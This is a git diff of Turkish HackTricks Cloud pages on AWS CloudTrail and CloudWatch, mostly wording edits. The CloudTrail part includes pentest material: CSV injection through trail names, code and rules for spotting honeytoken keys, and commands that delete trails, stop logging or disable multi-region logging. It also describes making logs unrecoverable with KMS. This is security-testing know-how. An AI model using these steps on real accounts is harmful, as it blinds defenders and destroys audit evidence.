kaynak değişiklik takibi konusunda yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik duruşunu artırmak ve düzenleyici uyumu sağlamak için gereklidir. +AWS CloudTrail **AWS ortamınızdaki etkinlikleri kaydeder ve izler**. Tüm AWS kaynaklarıyla etkileşimler için kimin ne yaptığını, ne zaman ve nereden yaptığını içeren ayrıntılı **olay günlüklerini** yakalar. Bu, değişikliklerin ve eylemlerin bir denetim izini sağlar, güvenlik analizi, uyum denetimi ve kaynak değişiklik takibi konusunda yardımcı olur. CloudTrail, kullanıcı ve kaynak davranışını anlamak, güvenlik duruşunu artırmak ve düzenleyici uyumu sağlamak için gereklidir. Her kaydedilen olay şunları içerir: @@ -19,20 +19,20 @@ Her kaydedilen olay şunları içerir: - İstek parametreleri: `requestParameters` - Yanıt öğeleri: `responseElements` -Olaylar, **yaklaşık her 5 dakikada bir JSON dosyasında** yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve nihayetinde günlük dosyaları **yaklaşık 15 dakika sonra S3'e teslim edilir.**\ +Olaylar, **yaklaşık her 5 dakikada bir JSON dosyasında** yeni bir günlük dosyasına yazılır, CloudTrail tarafından tutulur ve nihayetinde günlük dosyaları **yaklaşık 15 dakika sonra S3'e teslim edilir**.\ CloudTrail günlükleri **hesaplar ve bölgeler arasında birleştirilebilir.**\ -CloudTrail, **günlük dosyası bütünlüğünü kullanarak, günlük dosyalarınızın CloudTrail tarafından size teslim edildiğinden beri değişmediğini doğrulamanıza olanak tanır.** Bir özet dosyası içinde günlüklerin SHA-256 hash'ini oluşturur. Yeni günlüklerin sha-256 hash'i her saat başı oluşturulur.\ -Bir Trail oluştururken, günlüklemek için olay seçicilerini belirtmenize olanak tanır: Yönetim, veri veya içgörü olayları. +CloudTrail, **günlük dosyası bütünlüğünü kullanmanıza olanak tanır, böylece günlük dosyalarınızın CloudTrail tarafından size teslim edildiğinden beri değişmediğini doğrulayabilirsiniz.** Günlüklerin içinde bir özet dosyasında SHA-256 hash oluşturur. Yeni günlüklerin sha-256 hash'i her saat başı oluşturulur.\ +Bir Trail oluştururken olay seçicileri, kaydedilecek izi belirtmenize olanak tanır: Yönetim, veri veya içgörü olayları. -Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, böylece AWS içeriği erişimi olan kişiler için şifre çözer, ancak ek güvenlik için KMS ile SSE ve kendi anahtarlarınızı kullanabilirsiniz. +Günlükler bir S3 kovasında saklanır. Varsayılan olarak Sunucu Tarafı Şifreleme (SSE-S3) kullanılır, bu nedenle AWS, buna erişimi olan kişiler için içeriği şifre çözer, ancak ek güvenlik için SSE'yi KMS ve kendi anahtarlarınızla kullanabilirsiniz. -Günlükler, **bu ad formatına sahip bir S3 kovasında** saklanır: +Günlükler, **bu ad formatında bir S3 kovasında saklanır**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** - BucketName: **`aws-cloudtrail-logs--`** - Örnek: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Her klasör içinde her günlük, **bu formatı takip eden bir isme sahip olacaktır**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +Her klasörün içinde her günlük, **bu formatı takip eden bir isme sahip olacaktır**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** Günlük Dosyası İsimlendirme Konvansiyonu @@ -45,17 +45,17 @@ Ayrıca, **dosya bütünlüğünü kontrol etmek için (digest dosyaları)** **a ### Birden Fazla Hesaptan Günlükleri Birleştirme - Günlük dosyalarının teslim edileceği AWS hesabında bir Trail oluşturun -- Hedef S3 kovasına, CloudTrail için hesaplar arası erişime izin veren izinler uygulayın ve erişime ihtiyacı olan her AWS hesabına izin verin +- Hedef S3 kovasına, CloudTrail için çapraz hesap erişimine izin veren izinler uygulayın ve erişime ihtiyaç duyan her AWS hesabına izin verin - Diğer AWS hesaplarında yeni bir Trail oluşturun ve 1. adımda oluşturulan kovayı kullanmayı seçin -Ancak, tüm günlükleri aynı S3 kovasında saklayabilseniz de, birden fazla hesaptan CloudTrail günlüklerini tek bir AWS hesabına ait CloudWatch Günlüklerine birleştiremezsiniz. +Ancak, tüm günlükleri aynı S3 kovasında saklayabilseniz de, birden fazla hesaptan CloudTrail günlüklerini tek bir AWS hesabına ait CloudWatch Logs'a birleştiremezsiniz. > [!CAUTION] -> Bir hesabın **farklı Trails** CloudTrail **etkin** olabileceğini ve aynı (veya farklı) günlükleri farklı kovalar içinde saklayabileceğini unutmayın. +> Bir hesabın **farklı Trails** CloudTrail **etkin** olarak aynı (veya farklı) günlükleri farklı kovalarda saklayabileceğini unutmayın. ### Tüm organizasyon hesaplarından 1'e CloudTrail -Bir CloudTrail oluştururken, organizasyondaki tüm hesaplar için cloudtrail'i etkinleştirmek ve günlükleri sadece 1 kovaya almak mümkündür: +Bir CloudTrail oluştururken, organizasyondaki tüm hesaplar için cloudtrail'i etkinleştirmek ve günlükleri sadece 1 kovaya almak için belirtmek mümkündür:
@@ -85,18 +85,18 @@ CloudTrail Event History, kaydedilen logları bir tabloda incelemenizi sağlar: **CloudTrail Insights**, CloudTrail yollarından yazma yönetim olaylarını otomatik olarak **analiz eder** ve size **olağandışı aktiviteler** hakkında **uyarıda bulunur**. Örneğin, belirlenen temel değerlerden farklı olarak `TerminateInstance` olaylarında bir artış varsa, bunu bir Insight olayı olarak göreceksiniz. Bu olaylar, **olağandışı API aktivitelerini bulmayı ve yanıt vermeyi her zamankinden daha kolay hale getirir**. -Insights, CloudTrail loglarının bulunduğu aynı bucket'ta saklanır: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Insights, CloudTrail loglarının bulunduğu aynı kovada saklanır: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Logların değiştirilip değiştirilmediğini (değiştirilmiş veya silinmiş) doğrulayın
  • Her dosya için hash oluşturmak için digest dosyaları kullanır

    • SHA-256 hashing
    • SHA-256 ile dijital imza için RSA
    • Amazon'a ait özel anahtar
  • Bir digest dosyası oluşturmak 1 saat sürer (her saat başında yapılır)
| +| CloudTrail Log File Integrity |
  • Logların değiştirilip değiştirilmediğini (değiştirilmiş veya silinmiş) doğrulayın
  • Her dosya için hash oluşturmak amacıyla digest dosyaları kullanır

    • SHA-256 hashing
    • Digital imza için SHA-256 ile RSA
    • Amazon'a ait özel anahtar
  • Bir digest dosyası oluşturmak 1 saat sürer (her saat başında yapılır)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • IAM politikaları ve S3 bucket politikaları kullanın

    • güvenlik ekibi —> yönetici erişimi
    • denetçiler —> yalnızca okuma erişimi
  • Logları şifrelemek için SSE-S3/SSE-KMS kullanın
| -| Prevent log files from being deleted |
  • IAM ve bucket politikaları ile silme erişimini kısıtlayın
  • S3 MFA silme yapılandırması yapın
  • Log File Validation ile doğrulayın
| +| Stop unauthorized access |
  • IAM politikaları ve S3 kova politikaları kullanın

    • güvenlik ekibi —> yönetici erişimi
    • denetçiler —> yalnızca okuma erişimi
  • Logları şifrelemek için SSE-S3/SSE-KMS kullanın
| +| Prevent log files from being deleted |
  • IAM ve kova politikaları ile silme erişimini kısıtlayın
  • S3 MFA silme yapılandırması yapın
  • Log File Validation ile doğrulayın
| ## Access Advisor -AWS Access Advisor, içgörülerini toplamak için son 400 günün AWS **CloudTrail loglarına dayanır**. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların tarihini kaydeder. Access Advisor, bu verileri kullanarak **hizmetlerin en son ne zaman erişildiğini gösterir**. CloudTrail loglarını analiz ederek, Access Advisor bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin **izinleri iyileştirme** konusunda bilinçli kararlar almasına yardımcı olur; çünkü uzun süre erişilmeyen hizmetleri tanımlayabilir ve gerçek kullanım desenlerine dayalı olarak aşırı geniş izinleri azaltabilirler. +AWS Access Advisor, son 400 gün boyunca AWS **CloudTrail loglarına dayanarak içgörülerini toplar**. CloudTrail, bir AWS hesabında yapılan AWS API çağrılarının ve ilgili olayların tarihini kaydeder. Access Advisor, bu verileri kullanarak **hizmetlerin en son ne zaman erişildiğini gösterir**. CloudTrail loglarını analiz ederek, Access Advisor bir IAM kullanıcısının veya rolünün hangi AWS hizmetlerine eriştiğini ve bu erişimin ne zaman gerçekleştiğini belirleyebilir. Bu, AWS yöneticilerinin **izinleri iyileştirme** konusunda bilinçli kararlar almasına yardımcı olur; çünkü uzun süre erişilmeyen hizmetleri tanımlayabilir ve gerçek kullanım desenlerine dayalı olarak aşırı geniş izinleri azaltabilirler. > [!TIP] > Bu nedenle, Access Advisor **kullanıcılara verilen gereksiz izinler hakkında bilgi verir** böylece yönetici bunları kaldırabilir @@ -122,9 +122,9 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` -### **CSV Injection** +### **CSV Enjeksiyonu** -CloudTrail içinde, günlükler CSV formatında dışa aktarıldığında ve Excel ile açıldığında rastgele kodu çalıştıracak bir CVS enjeksiyonu gerçekleştirmek mümkündür.\ +CloudTrail içinde, günlükler CSV formatında dışa aktarıldığında ve Excel ile açıldığında rastgele kod çalıştıracak bir CVS enjeksiyonu gerçekleştirmek mümkündür.\ Aşağıdaki kod, yükü içeren kötü bir Trail adıyla günlük girişi oluşturacaktır: ```python import boto3 @@ -142,27 +142,27 @@ Daha fazla bilgi için CSV Enjeksiyonları hakkında sayfayı kontrol edin: https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -Bu özel teknik hakkında daha fazla bilgi için [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) adresini kontrol edin. +Bu spesifik teknik hakkında daha fazla bilgi için [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) ## **Algılama Atlatma** ### HoneyTokens **atlatma** -Honeytoken'lar, **hassas bilgilerin dışa aktarımını tespit etmek için** oluşturulmuştur. AWS durumunda, bunlar **kullanımı izlenen AWS anahtarlarıdır**, eğer bu anahtarla bir eylem tetiklenirse, o zaman birisi bu anahtarı çalmış olmalıdır. +Honeytoken'lar, **hassas bilgilerin sızdırılmasını tespit etmek için** oluşturulmuştur. AWS durumunda, bunlar **kullanımı izlenen AWS anahtarlarıdır**, eğer bu anahtarla bir eylem tetiklenirse, o zaman birisi bu anahtarı çalmış olmalıdır. -Ancak, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) tarafından oluşturulan Honeytoken'lar ya tanınabilir hesap adı kullanıyor ya da tüm müşterileri için aynı AWS hesap kimliğini kullanıyor. Bu nedenle, Cloudtrail herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, **anahtarın bir honeytoken olup olmadığını bilebilirsiniz**. +Ancak, [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) tarafından oluşturulan Honeytoken'lar ya tanınabilir hesap adı kullanıyor ya da tüm müşterileri için aynı AWS hesap kimliğini kullanıyor. Bu nedenle, eğer Cloudtrail herhangi bir günlük oluşturmadan hesap adını ve/veya hesap kimliğini alabilirseniz, **anahtarın bir honeytoken olup olmadığını bilebilirsiniz**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) bir anahtarın [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**'e ait olup olmadığını tespit etmek için bazı kurallara sahiptir:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) bazı kurallara sahiptir, bu kurallar bir anahtarın [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**'e ait olup olmadığını tespit etmek için:** - Eğer **`canarytokens.org`** rol adında görünüyorsa veya hata mesajında **`534261010715`** hesap kimliği görünüyorsa. -- Daha yakın zamanda test ettiğinizde, **`717712589309`** hesabını kullanıyorlar ve hala adında **`canarytokens.com`** dizesi var. -- Eğer hata mesajında rol adında **`SpaceCrab`** görünüyorsa. +- Daha yakın zamanda test ettiklerinde, **`717712589309`** hesabını kullanıyorlar ve hala adında **`canarytokens.com`** dizesi var. +- Eğer hata mesajında rol adında **`SpaceCrab`** görünüyorsa - **SpaceSiren**, kullanıcı adları oluşturmak için **uuids** kullanır: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - Eğer **isim rastgele üretilmiş gibi görünüyorsa**, bunun bir HoneyToken olma olasılığı yüksektir. -#### Anahtar Kimliğinden Hesap Kimliğini Alın +#### Anahtar Kimliğinden Hesap Kimliğini Almak -**Erişim anahtarının** içindeki **kodlanmış** bilgiden **Hesap Kimliğini** alabilirsiniz, [**burada açıklandığı gibi**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) ve hesap kimliğini Honeytoken AWS hesaplarınızın listesiyle kontrol edebilirsiniz: +**Erişim anahtarının** içinde **kodlanmış** olarak **Hesap Kimliğini** alabilirsiniz, [**burada açıklandığı gibi**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) ve hesap kimliğini Honeytoken AWS hesaplarınızın listesiyle kontrol edebilirsiniz: ```python import base64 import binascii @@ -181,32 +181,32 @@ return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +Daha fazla bilgi için [**orijinal araştırmaya**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) bakın. -#### Log Oluşturma +#### Log oluşturmayın Bunun için en etkili teknik aslında basit bir tekniktir. Bulduğunuz anahtarı kullanarak kendi saldırgan hesabınızdaki bir hizmete erişin. Bu, **CloudTrail'in KENDİ AWS hesabınızda bir log oluşturmasını sağlar ve kurbanın hesabında değil**. -Sorun şu ki, çıktı, hesap kimliğini ve hesap adını belirten bir hata gösterecektir, böylece **bir Honeytoken olup olmadığını görebileceksiniz**. +Sorun şu ki, çıktı bir hata gösterecek ve hesap ID'sini ve hesap adını belirtecek, böylece **bir Honeytoken olup olmadığını görebileceksiniz**. -#### Log Olmadan AWS Hizmetleri +#### Log olmadan AWS hizmetleri -Geçmişte bazı **AWS hizmetleri CloudTrail'e log göndermiyordu** (buradan [bir liste bulabilirsiniz](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Bu hizmetlerden bazıları, yetkisiz (honeytoken anahtarı) birinin erişmeye çalışması durumunda **anahtar rolünün ARN'sini** içeren bir **hata** ile **yanıt verecektir**. +Geçmişte bazı **AWS hizmetleri CloudTrail'e log göndermiyordu** (burada bir [liste bulabilirsiniz](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Bu hizmetlerden bazıları, yetkisiz (honeytoken anahtarı) birinin erişmeye çalışması durumunda **hata** ile **anahtar rolünün ARN'sini** içeren bir **yanıt** verecektir. -Bu şekilde, bir **saldırgan herhangi bir log tetiklemeksizin anahtarın ARN'sini elde edebilir**. ARN'de saldırgan **AWS hesap kimliğini ve adını** görebilir, bu nedenle HoneyToken'ın şirket hesap kimliklerini ve adlarını bilmek kolaydır, bu şekilde bir saldırgan token'ın bir HoneyToken olup olmadığını belirleyebilir. +Bu şekilde, bir **saldırgan herhangi bir log tetiklemeksizin anahtarın ARN'sini elde edebilir**. ARN'de saldırgan **AWS hesap ID'sini ve adını** görebilir, bu nedenle HoneyToken'ın şirket hesap ID'lerini ve adlarını bilmek kolaydır, böylece bir saldırgan token'ın bir HoneyToken olup olmadığını belirleyebilir. ![](<../../../../images/image (93).png>) > [!CAUTION] -> CloudTrail logu oluşturmayan tüm kamu API'lerinin artık düzeltildiğini unutmayın, bu nedenle kendi API'lerinizi bulmanız gerekebilir... +> CloudTrail logları oluşturmayan tüm kamu API'lerinin artık düzeltildiğini unutmayın, bu nedenle belki de kendi API'lerinizi bulmanız gerekebilir... > > Daha fazla bilgi için [**orijinal araştırmaya**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/) bakın. ### Üçüncü Altyapıya Erişim -Belirli AWS hizmetleri **veritabanları** veya **Kubernetes** kümeleri (EKS) gibi **bazı altyapılar oluşturacaktır**. Bir kullanıcı, bu hizmetlere (Kubernetes API'si gibi) **doğrudan konuştuğunda** **AWS API'sini kullanmayacaktır**, bu nedenle CloudTrail bu iletişimi göremeyecektir. +Belirli AWS hizmetleri **veritabanları** veya **Kubernetes** kümeleri (EKS) gibi **bazı altyapılar oluşturacaktır**. Bir kullanıcı **bu hizmetlerle doğrudan konuştuğunda** (Kubernetes API'si gibi) **AWS API'sini kullanmaz**, bu nedenle CloudTrail bu iletişimi göremez. -Bu nedenle, EKS'ye erişimi olan bir kullanıcı, EKS API'sinin URL'sini keşfettiğinde, yerel olarak bir token oluşturabilir ve **Cloudtrail tarafından tespit edilmeden API hizmetiyle doğrudan konuşabilir**. +Bu nedenle, EKS'ye erişimi olan bir kullanıcı EKS API'sinin URL'sini keşfettiyse, yerel olarak bir token oluşturabilir ve **CloudTrail tarafından tespit edilmeden API hizmetiyle doğrudan konuşabilir**. Daha fazla bilgi için: @@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name] ```bash aws cloudtrail stop-logging --name [trail-name] ``` -#### Çok bölge kaydını devre dışı bırakın +#### Çok bölgeli günlüğü devre dışı bırakın ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` @@ -255,8 +255,8 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration #### S3 ransomware -**Asimetrik bir anahtar** oluşturabilir ve **CloudTrail'in verileri** o anahtarla şifrelemesini sağlayabilir ve **özel anahtarı** silerek CloudTrail içeriğinin kurtarılamayacağını garanti edebilirsin.\ -Bu temelde **S3-KMS ransomware** olarak açıklanmıştır: +**Asimetrik bir anahtar oluşturabilir** ve **CloudTrail'in verileri** o anahtarla şifrelemesini sağlayabilir ve **özel anahtarı silerek** CloudTrail içeriğinin kurtarılamayacak hale gelmesini sağlayabilirsin.\ +Bu temelde **S3-KMS ransomware** olarak açıklanmaktadır: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 405359937..95e6467ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,11 +4,11 @@ ## CloudWatch -**CloudWatch**, izleme ve operasyonel **verileri** günlükler/ölçümler/olaylar şeklinde toplayarak **AWS kaynaklarının**, uygulamalarının ve hizmetlerinin birleşik bir görünümünü sağlar.\ -CloudWatch Log Olaylarının **her günlük satırı için 256KB boyut sınırlaması** vardır.\ -**Yüksek çözünürlüklü alarmlar** ayarlayabilir, **günlükleri** ve **ölçümleri** yan yana görselleştirebilir, otomatik eylemler alabilir, sorunları giderebilir ve uygulamaları optimize etmek için içgörüler keşfedebilirsiniz. +**CloudWatch**, izleme ve operasyonel **verileri** loglar/metrikler/olaylar şeklinde toplayarak **AWS kaynaklarının**, uygulamalarının ve hizmetlerinin birleşik bir görünümünü sağlar.\ +CloudWatch Log Olaylarının **her log satırı için 256KB boyut sınırlaması** vardır.\ +**Yüksek çözünürlüklü alarmlar** ayarlayabilir, **logları** ve **metrikleri** yan yana görselleştirebilir, otomatik eylemler alabilir, sorunları giderebilir ve uygulamaları optimize etmek için içgörüler keşfedebilirsiniz. -Örneğin CloudTrail'den günlükleri izleyebilirsiniz. İzlenen olaylar: +Örneğin CloudTrail'den logları izleyebilirsiniz. İzlenen olaylar: - Güvenlik Grupları ve NACL'lerdeki değişiklikler - EC2 örneklerini başlatma, durdurma, yeniden başlatma ve sonlandırma @@ -21,31 +21,31 @@ CloudWatch Log Olaylarının **her günlük satırı için 256KB boyut sınırla ### Ad Alanları -Bir ad alanı, CloudWatch ölçümleri için bir konteynırdır. Ölçümleri kategorize etmeye ve izole etmeye yardımcı olur, böylece bunları yönetmek ve analiz etmek daha kolay hale gelir. +Bir ad alanı, CloudWatch metrikleri için bir konteynırdır. Metrikleri kategorize etmeye ve izole etmeye yardımcı olur, böylece yönetim ve analiz daha kolay hale gelir. -- **Örnekler**: EC2 ile ilgili ölçümler için AWS/EC2, RDS ölçümleri için AWS/RDS. +- **Örnekler**: EC2 ile ilgili metrikler için AWS/EC2, RDS metrikleri için AWS/RDS. -### Ölçümler +### Metrikler -Ölçümler, zaman içinde toplanan veri noktalarıdır ve AWS kaynaklarının performansını veya kullanımını temsil eder. Ölçümler, AWS hizmetlerinden, özel uygulamalardan veya üçüncü taraf entegrasyonlardan toplanabilir. +Metrikler, AWS kaynaklarının performansını veya kullanımını temsil eden zaman içinde toplanan veri noktalarıdır. Metrikler, AWS hizmetlerinden, özel uygulamalardan veya üçüncü taraf entegrasyonlardan toplanabilir. - **Örnek**: CPUUtilization, NetworkIn, DiskReadOps. ### Boyutlar -Boyutlar, ölçümlerin bir parçası olan anahtar-değer çiftleridir. Bir ölçümü benzersiz bir şekilde tanımlamaya yardımcı olur ve ek bağlam sağlar; bir ölçüme iliştirilebilecek en fazla boyut sayısı 30'dur. Boyutlar ayrıca belirli özelliklere dayalı olarak ölçümleri filtrelemeye ve birleştirmeye olanak tanır. +Boyutlar, metriklerin bir parçası olan anahtar-değer çiftleridir. Bir metriği benzersiz bir şekilde tanımlamaya yardımcı olur ve ek bağlam sağlar; bir metriğe iliştirilebilecek en fazla boyut sayısı 30'dur. Boyutlar ayrıca belirli özelliklere dayalı olarak metrikleri filtrelemeye ve birleştirmeye olanak tanır. - **Örnek**: EC2 örnekleri için boyutlar InstanceId, InstanceType ve AvailabilityZone içerebilir. ### İstatistikler -İstatistikler, zaman içinde ölçüm verileri üzerinde yapılan matematiksel hesaplamalardır. Yaygın istatistikler arasında Ortalama, Toplam, Minimum, Maksimum ve Örnek Sayısı bulunur. +İstatistikler, metrik verileri üzerinde zaman içinde özetlemek için yapılan matematiksel hesaplamalardır. Yaygın istatistikler arasında Ortalama, Toplam, Minimum, Maksimum ve Örnek Sayısı bulunur. - **Örnek**: Bir saatlik bir süre boyunca ortalama CPU kullanımını hesaplama. ### Birimler -Birimler, bir ölçümle ilişkili ölçüm türüdür. Birimler, ölçüm verilerine bağlam ve anlam sağlamaya yardımcı olur. Yaygın birimler arasında Yüzde, Bayt, Saniye, Sayım bulunur. +Birimler, bir metrikle ilişkili ölçüm türüdür. Birimler, metrik verilerine bağlam ve anlam sağlamaya yardımcı olur. Yaygın birimler arasında Yüzde, Bayt, Saniye, Sayım bulunur. - **Örnek**: CPUUtilization Yüzde cinsinden ölçülürken, NetworkIn Bayt cinsinden ölçülebilir. @@ -53,7 +53,7 @@ Birimler, bir ölçümle ilişkili ölçüm türüdür. Birimler, ölçüm veril ### Gösterge Paneli -**CloudWatch Gösterge Panelleri**, AWS CloudWatch ölçümlerinizi özelleştirilebilir **görünümler** sağlar. Farklı AWS hizmetlerinden çeşitli ölçümleri bir araya getirerek verileri görselleştirmek ve kaynakları tek bir görünümde izlemek için paneller oluşturup yapılandırabilirsiniz. +**CloudWatch Gösterge Panelleri**, AWS CloudWatch metriklerinizin özelleştirilebilir **görünümlerini** sağlar. Verileri görselleştirmek ve kaynakları tek bir görünümde izlemek için farklı AWS hizmetlerinden çeşitli metrikleri birleştirerek paneller oluşturabilir ve yapılandırabilirsiniz. **Anahtar Özellikler**: @@ -62,24 +62,24 @@ Birimler, bir ölçümle ilişkili ölçüm türüdür. Birimler, ölçüm veril **Örnek Kullanım Durumu**: -- EC2 örnekleri, RDS veritabanları ve S3 kovaları dahil olmak üzere tüm AWS ortamınız için anahtar ölçümleri gösteren tek bir gösterge paneli. +- EC2 örnekleri, RDS veritabanları ve S3 kovaları dahil olmak üzere tüm AWS ortamınız için ana metrikleri gösteren tek bir gösterge paneli. -### Ölçüm Akışı ve Ölçüm Verisi +### Metrik Akışı ve Metrik Verisi -**Ölçüm Akışları**, AWS CloudWatch'ta CloudWatch ölçümlerini seçtiğiniz bir hedefe sürekli olarak akıtmanıza olanak tanır. Bu, özellikle AWS dışındaki araçlar kullanarak gelişmiş izleme, analiz ve özel paneller için yararlıdır. +AWS CloudWatch'taki **Metrik Akışları**, CloudWatch metriklerini seçtiğiniz bir hedefe sürekli olarak gerçek zamanlı olarak akıtmanıza olanak tanır. Bu, AWS dışındaki araçlar kullanarak gelişmiş izleme, analiz ve özel paneller için özellikle yararlıdır. -**Ölçüm Verisi**, Ölçüm Akışları içindeki gerçek ölçümler veya veri noktalarını ifade eder. Bu veri noktaları, AWS kaynakları için CPU kullanımı, bellek kullanımı vb. gibi çeşitli ölçümleri temsil eder. +**Metrik Verisi**, Metrik Akışları içindeki gerçek ölçümler veya akıtılan veri noktalarını ifade eder. Bu veri noktaları, AWS kaynakları için CPU kullanımı, bellek kullanımı vb. gibi çeşitli metrikleri temsil eder. **Örnek Kullanım Durumu**: -- Gelişmiş analiz için gerçek zamanlı ölçümleri üçüncü taraf bir izleme hizmetine gönderme. -- Uzun vadeli depolama ve uyumluluk için bir Amazon S3 kovasında ölçümleri arşivleme. +- Gelişmiş analiz için üçüncü taraf bir izleme hizmetine gerçek zamanlı metrikler gönderme. +- Uzun vadeli depolama ve uyumluluk için bir Amazon S3 kovasında metrikleri arşivleme. ### Alarm -**CloudWatch Alarmları**, ölçümlerinizi izler ve önceden tanımlanmış eşiklere dayalı olarak eylemler gerçekleştirir. Bir ölçüm bir eşiği aştığında, alarm bir veya daha fazla eylem gerçekleştirebilir, örneğin SNS aracılığıyla bildirim göndermek, otomatik ölçekleme politikasını tetiklemek veya bir AWS Lambda işlevi çalıştırmak. +**CloudWatch Alarmları**, metriklerinizi izler ve önceden tanımlanmış eşiklere dayalı olarak eylemler gerçekleştirir. Bir metrik bir eşiği aştığında, alarm bir veya daha fazla eylem gerçekleştirebilir, örneğin SNS aracılığıyla bildirim göndermek, otomatik ölçeklendirme politikasını tetiklemek veya bir AWS Lambda işlevi çalıştırmak. -**Anahtar Bileşenler**: +**Ana Bileşenler**: - **Eşik**: Alarmın tetiklendiği değer. - **Değerlendirme Dönemleri**: Verilerin değerlendirildiği dönem sayısı. @@ -92,52 +92,52 @@ Birimler, bir ölçümle ilişkili ölçüm türüdür. Birimler, ölçüm veril ### Anomali Tespit Cihazları -**Anomali Tespit Cihazları**, ölçümlerinizdeki anormallikleri otomatik olarak tespit etmek için makine öğrenimini kullanır. Anomali tespiti, sorunları gösterebilecek normal kalıplardan sapmaları belirlemek için herhangi bir CloudWatch ölçümüne uygulanabilir. +**Anomali Tespit Cihazları**, metriklerinizde otomatik olarak anormallikleri tespit etmek için makine öğrenimini kullanır. Anomali tespiti, sorunları gösterebilecek normal desenlerden sapmaları tanımlamak için herhangi bir CloudWatch metriğine uygulanabilir. -**Anahtar Bileşenler**: +**Ana Bileşenler**: -- **Model Eğitimi**: CloudWatch, normal davranışın neye benzediğini belirlemek için geçmiş verileri kullanarak bir model eğitir. -- **Anomali Tespit Bandı**: Bir ölçüm için beklenen değer aralığını görsel olarak temsil eder. +- **Model Eğitimi**: CloudWatch, normal davranışın neye benzediğini belirlemek için tarihsel verileri kullanarak bir model eğitir. +- **Anomali Tespit Bandı**: Bir metriğin beklenen değer aralığını görsel olarak temsil eder. **Örnek Kullanım Durumu**: -- Bir güvenlik ihlali veya uygulama sorunu gösterebilecek EC2 örneğinde alışılmadık CPU kullanım kalıplarını tespit etme. +- Bir güvenlik ihlali veya uygulama sorunu gösterebilecek bir EC2 örneğinde olağandışı CPU kullanım desenlerini tespit etme. ### İçgörü Kuralları ve Yönetilen İçgörü Kuralları -**İçgörü Kuralları**, ölçüm verilerinizdeki eğilimleri belirlemenize, zirveleri tespit etmenize veya ilgi çekici diğer kalıpları tanımlamanıza olanak tanır; bu, eylemlerin alınması gereken koşulları tanımlamak için **güçlü matematiksel ifadeler** kullanır. Bu kurallar, kaynak performansını ve kullanımını izlerken anormallikleri veya alışılmadık davranışları belirlemenize yardımcı olabilir. +**İçgörü Kuralları**, metrik verilerinizdeki eğilimleri tanımlamanıza, 